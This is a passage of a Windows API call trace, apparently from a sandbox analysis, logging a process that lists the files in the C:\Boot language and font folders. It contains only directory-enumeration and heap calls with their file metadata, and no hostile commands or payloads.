lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.677] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.677] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.677] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.677] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.678] GetProcessHeap () returned 0x550000 [0194.678] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0194.678] GetProcessHeap () returned 0x550000 [0194.678] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.678] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.678] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.679] GetProcessHeap () returned 0x550000 [0194.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0194.679] GetProcessHeap () returned 0x550000 [0194.679] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.679] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0194.680] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.680] GetProcessHeap () returned 0x550000 [0194.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0194.680] GetProcessHeap () returned 0x550000 [0194.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.681] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.681] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.681] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.681] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.681] GetProcessHeap () returned 0x550000 [0194.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.681] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0194.682] GetProcessHeap () returned 0x550000 [0194.682] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.682] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.682] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.682] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.682] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.682] GetProcessHeap () returned 0x550000 [0194.682] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.683] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0194.683] GetProcessHeap () returned 0x550000 [0194.683] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.683] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.683] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.683] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.683] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.683] GetProcessHeap () returned 0x550000 [0194.684] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.684] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0194.684] GetProcessHeap () returned 0x550000 [0194.684] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.684] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.684] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.684] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.685] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.685] GetProcessHeap () returned 0x550000 [0194.685] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.685] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0194.685] GetProcessHeap () returned 0x550000 [0194.685] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.685] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.685] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.685] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 